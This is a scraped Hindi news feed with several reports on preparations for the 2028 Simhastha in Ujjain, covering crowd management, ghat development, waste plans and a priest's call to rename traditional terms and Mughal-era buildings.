उज्जैन सिंहस्थ में भी प्रदेश पुलिस इन व्यवस्थाओं को अपनाने की तैयारी कर रही है। सिंहस्थ के लिए अभी लगभग तीन वर्ष होने के कारण पुलिस के पास तैयारी के लिए पर्याप्त अवसर भी है। इसमें लगभग तीन करोड़ श्रद्धालुओं के आने की संभावना है, पर बड़ी चुनौती यह है कि प्रयागराज की तुलना में उज्जैन में जगह बहुत कम है, गलियां संकरी हैं।

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सिंहस्थ में शिप्रा का हर घाट होगा रामघाट, खाका तैयार, CM की हरी झंडी का इंतजार https://pratyushaashakinayikiran.com/?p=153640 Sun, 04 May 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=153640 उज्जैन

मध्य प्रदेश की धार्मिक राजधानी उज्जैन में वर्ष 2028 में सिंहस्थ महाकुंभ लगेगा। वैसे इसके लिए अभी तीन वर्ष का समय है, लेकिन सरकार ने प्रयागराज महाकुंभ को देखकर कई सीख ली है। इसी के चलते उज्जैन के लिए खास तैयारियां शुरू हो गई हैं। उज्जैन में शिप्रा के दोनों किनारे पर बनाए जाने वाले नए 29 किमी सहित कुल सभी 35 किमी लंबे घाटों को रामघाट के रूप में ही प्रचारित किया जाएगा। यहां अगल से कोई भी वीआईपी घाट नहीं बनाया जायेगा।

उज्जैन सिंहस्थ को लेकर रूपरेखा तैयार पूरी कर ली गई है, अब बस सीएम की हरी झंडी का इंतजार है। उज्जैन के प्रभारी मंत्री गौतम टेटवाल बयान देते हुए कहा कि सिंहस्थ की तैयारियां जोर-शोर से चल रही हैं। उन्होंने कहा कि उज्जैन का हर घाट रामघाट होगा। मुख्यमंत्री ने इस संबंध में दिशा निर्देश जारी किए हैं।

ऐसा अनुमान लगया जा रहा है कि सिंहस्थ में 14 करोड़ से अधिक श्रद्धालु आ सकते हैं। ऐसे में हर दिन सिंहस्थ मेला क्षेत्र में 740 टन कचरा उत्पन्न होने का अनुमान है। इसे नियंत्रित करने के लिए 50 हजार बायो-टॉयलेट भी बनाए जाएंगे।

गैरजरूरी कामों के प्रस्ताव नहीं बनाएं कलेक्टर बैठक के पहले चरण में उज्जैन को छोड़ आसपास के जिलों के प्रस्तावों पर भी चर्चा की गई। इसमें डॉ. राजौरा ने कलेक्टरों को स्पष्ट किया कि नए निर्माण कार्यों के प्रस्तावों को श्रद्धालुओं की व्यवस्थाओं को ध्यान रख ही बनाएं। यानी गैर जरूरीकामों के प्रस्ताव नहीं बनाएं।

किसी भी घाट को वीआईपी नाम नहीं दें, ताकि ज्यादा भीड़ केवल उसी दिशा जाने का प्रयास नहीं करें। बैठक की अध्यक्षता जिले के प्रभारी मंत्री गौतम टेटवाल ने की। उन्होंने निर्माण कार्यों की गुणवत्ता पर विशेष ध्यान देने को कहा। मंत्री ने कहा कि काम ऐसे होने चाहिए कि वे बाद वाले सिंहस्थ में भी उपयोगी हों। अपर मुख्य सचिव डॉ. राजेश राजौरा ने सिंहस्थ के लिए एक विस्तृत मास्टर प्लान तैयार करने के निर्देश दिए।

निर्माण कार्यों की गुणवत्ता पर रहेगा विशेष जोर

मंत्री गौतम टेटवाल ने कहा कि निर्माण कार्य केवल इस एक सिंहस्थ तक सीमित न रहें, बल्कि वे भविष्य के सिंहस्थ आयोजनों में भी उपयोगी साबित हों। इसी दिशा में निर्देश दिया गया कि निर्माण कार्य स्थायी और गुणवत्तायुक्त हों। इसके लिए अच्छी सामग्री का इस्तेमाल करने पर ज़ोर दिया जाएगा।

मास्टर प्लान तैयार होगा

अपर मुख्य सचिव डॉ. राजेश राजौरा ने अधिकारियों को निर्देशित किया कि सिंहस्थ 2028 के लिए एक विस्तृत मास्टर प्लान तैयार किया जाए, जिसमें भीड़ प्रबंधन, यातायात, घाटों की व्यवस्था, जल-प्रबंधन और आपदा सुरक्षा की दृष्टि से सभी पहलुओं को शामिल किया जाए।

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उज्जैन सिंहस्थ के दौरान प्रचलित कुछ पारंपरिक शब्दों को बदलने के साथ ही हर अखाड़े के लिए अलग घाट पर स्नान की मांग https://pratyushaashakinayikiran.com/?p=132359 Wed, 19 Feb 2025 04:06:00 +0000 https://pratyushaashakinayikiran.com/?p=132359 उज्जैन

 उज्जैन सिंहस्थ 2028 की तैयारियां जोरों पर हैं. प्रयागराज कुम्भ से सीख लेते हुए इस बार क्राउड मैनेजमेंट पर विशेष ध्यान दिया जा रहा है. वहीं, प्रयागराज कुम्भ में "शाही स्नान" को बदलकर "अमृत स्नान" किए जाने के बाद अब उज्जैन के महाकाल मंदिर के पुजारी और पुजारी महासंघ के अध्यक्ष महेश पुजारी ने कुम्भ में प्रचलित कुछ पारंपरिक शब्दों को बदलने की मांग की है. इसके साथ में अलग-अलग अखाड़े को अलग-अलग घाट पर स्नान करने की सलाह भी दी है.

पारंपरिक शब्दों के स्थान पर सनातनी नामकरण की मांग

उज्जैन महाकाल मंदिर के वरिष्ठ पुजारी महेश शर्मा ने कहा "जैसे भगवान महाकाल की सवारी का नाम बदलकर "राजसी सवारी" किया गया था, उसी प्रकार कुम्भ में उपयोग किए जाने वाले अन्य शब्दों का भी संशोधन होना चाहिए. क्योंकि इस बार प्रयागराज में शाही शब्द हटाकर अमृत स्नान नाम दिया गया." उन्होंने विशेष रूप से "छावनी" और "पेशवाई" शब्दों का उल्लेख किया, जो क्रमशः ब्रिटिश और मराठा काल से जुड़े हुए हैं. उनका मानना है कि ये शब्द ऐतिहासिक रूप से विदेशी शासन की याद दिलाते हैं, इसलिए इन्हें हटाकर सनातनी परंपरा के अनुरूप नए नाम दिए जाने चाहिए."

ऐतिहासिक इमारतों के नाम बदलने की अपील

महाकाल मंदिर के पुजारी महेश शर्मा ने कहा "देश में कई ऐतिहासिक इमारतें अब भी मुगलकालीन नामों से जानी जाती हैं, जो गुलामी के प्रतीक के रूप में देखी जाती हैं. सरकार से आग्रह है कि इनका नाम बदलकर भारतीय संस्कृति और परंपरा के अनुरूप रखा जाए. महाकाल की सवारी का नाम पहले ही बदला जा चुका है." गौरतलब है कि 2024 में सावन-भादौ माह के दौरान निकलने वाली महाकाल की अंतिम सवारी को "शाही सवारी" के बजाय "राजसी सवारी" कहा गया था. इस बदलाव को व्यापक समर्थन मिला था और सभी उद्घोषणाओं में "राजसी सवारी" का ही प्रयोग किया गया था.

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